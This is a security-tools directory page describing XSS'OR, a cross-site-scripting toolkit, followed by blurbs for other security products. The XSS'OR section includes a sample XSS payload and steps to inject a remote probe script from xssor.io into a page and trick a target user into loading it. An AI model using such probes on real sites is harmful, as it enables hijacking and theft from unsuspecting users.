XSS'OR
Hack with JavaScript XSS'OR Encode/Decode Codz Probe About \u &#x; , c &# &#; ↔ ↔ ↔ ↔ ↔ ↔ ↔ MD5 SHA1 SHA256 UTF-7 / → x=alert;x(/xssor/.source); CREATOR CODZ POST GET CSRF Language JavaScript Flash AS3 ASP PHP Content-Type multipart/form-data application/x-www-form-urlencoded VECTOR CODZ CODZ DESC AUTHOR UPDATE XSSMisc A XSS fuzzing misc. evilcos 2017/-- BXFBypass Browser's XSS Filter Bypass Cheat Sheet. Masato 2017/-- RSnakeXSS Classical XSS Filter Evasion Cheat Sheet. RSnake 2017/02 HTML5Sec More than HTML5 Security Cheatsheet. .mario 2017/01 PAYLOAD CODZ CODZ DESC AUTHOR UPDATE BeEF Browser Exploitation Framework Project. BeEF 2017/-- ExtProbe Chrome installed extensions/plugins. evi1m0 2017/01 CORSBOT IAMANEWBOTNAMEDCORSBOT. evilcos 2017/01 XSSProbe A small but classical XSS probe. evilcos 2014/01 xss.swf A tiny tool for Flash hacking. evilcos 2013/03 AttackAPI JavaScript AttackAPI from GNUCITIZEN. pdp 2007/01 REMOTE CONTROL Create Probe INPUT:wwavrjpTO .js CREATE AN ONE-TIME PROBE DO NOT BE BAD. One-time probe means you can just only use one time per day. HELP WARNING!! DO NOT BE BAD. This Probe, you can just only use one time per day. This Probe, just only the most basic Probe:) 1ST STAGE 1. Create Probe. 2. Inject "PROBE LINK" to a HTML page, eg: <script/src="http://xssor.io/probe/wuvwuup.js"></script> !!!Replace src value to your PROBE LINK!!! 3. Cheat target user access this HTML page. 4. Wait for target user online... 2ND STAGE *. The "RESULT LINK" is targe
FEATURES
EXPLORE BY TAGS
SIMILAR TOOLS
Important security headers for Fastify with granular control over application routes.
Hackazon is a free, vulnerable test site with an online storefront to train and test IT security professionals on various vulnerabilities like SQL Injection and cross-site scripting.
The Contrast Runtime Security Platform is a suite of application security tools that integrates security into the software development lifecycle and production environments, including IAST, SAST, RASP, and SCA capabilities.
A DevSecOps platform that combines SAST, DAST, SCA, and secret scanning with AI/ML-based analysis for continuous application security testing and vulnerability management.
IDAPython plugin for generating Yara rules/patterns from x86/x86-64 code through parameterization.
IronBee is an open source project building a universal web application security sensor.
An integrated application security platform that combines software composition analysis, container scanning, and runtime security monitoring to identify and prioritize vulnerabilities based on actual usage and risk.
A popular free security tool for automatically finding security vulnerabilities in web applications
FlowDroid is a context-, flow-, field-, object-sensitive and lifecycle-aware static taint analysis tool for Android applications.
PINNED
Mandos
Fractional CISO service that helps B2B companies implement security leadership to win enterprise deals, achieve compliance, and develop strategic security programs.
Checkmarx SCA
A software composition analysis tool that identifies vulnerabilities, malicious code, and license risks in open source dependencies throughout the software development lifecycle.
Orca Security
A cloud-native application protection platform that provides agentless security monitoring, vulnerability management, and compliance capabilities across multi-cloud environments.
DryRun
A GitHub application that performs automated security code reviews by analyzing contextual security aspects of code changes during pull requests.